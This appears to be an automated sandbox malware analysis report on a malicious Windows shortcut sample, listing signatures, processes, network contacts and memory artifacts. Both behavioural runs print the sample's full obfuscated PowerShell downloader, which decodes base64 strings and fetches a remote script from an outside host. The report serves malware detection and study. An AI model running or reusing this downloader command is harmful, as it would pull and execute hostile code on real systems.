Malware Analysis Report

2024-10-16 06:31

Sample ID 240613-r7eppstbnh
Target a61c42402eb69a3f41137cd9ed0d1c1b_JaffaCakes118
SHA256 5fa18fbb64e4a643048c6662c2907332ddbc72c9c2ea3f6f2939323e51825b4b
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

5fa18fbb64e4a643048c6662c2907332ddbc72c9c2ea3f6f2939323e51825b4b

Threat Level: Likely malicious

The file a61c42402eb69a3f41137cd9ed0d1c1b_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 14:49

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 14:49

Reported

2024-06-13 14:52

Platform

win7-20240611-en

Max time kernel

120s

Max time network

121s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2740 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2740 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2740 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p

Network

N/A

Files

memory/2664-38-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp

memory/2664-39-0x000000001B550000-0x000000001B832000-memory.dmp

memory/2664-40-0x00000000021C0000-0x00000000021C8000-memory.dmp

memory/2664-41-0x0000000002CF4000-0x0000000002CF7000-memory.dmp

memory/2664-42-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

memory/2664-43-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 14:49

Reported

2024-06-13 14:52

Platform

win10v2004-20240611-en

Max time kernel

98s

Max time network

94s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4740 wrote to memory of 4812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4740 wrote to memory of 4812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p

Network

Country Destination Domain Proto
US 8.8.8.8:53 panel-dark.com udp
US 104.155.138.21:80 panel-dark.com tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 21.138.155.104.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
BE 88.221.83.178:443 www.bing.com tcp
BE 88.221.83.178:443 www.bing.com tcp
US 8.8.8.8:53 178.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 155.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/4812-2-0x00007FF942A53000-0x00007FF942A55000-memory.dmp

memory/4812-3-0x0000025D763D0000-0x0000025D763F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cuqftawr.wle.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4812-13-0x00007FF942A50000-0x00007FF943511000-memory.dmp

memory/4812-14-0x00007FF942A50000-0x00007FF943511000-memory.dmp

memory/4812-15-0x00007FF942A50000-0x00007FF943511000-memory.dmp

memory/4812-19-0x00007FF942A50000-0x00007FF943511000-memory.dmp

memory/4812-18-0x00007FF942A53000-0x00007FF942A55000-memory.dmp

memory/4812-20-0x00007FF942A50000-0x00007FF943511000-memory.dmp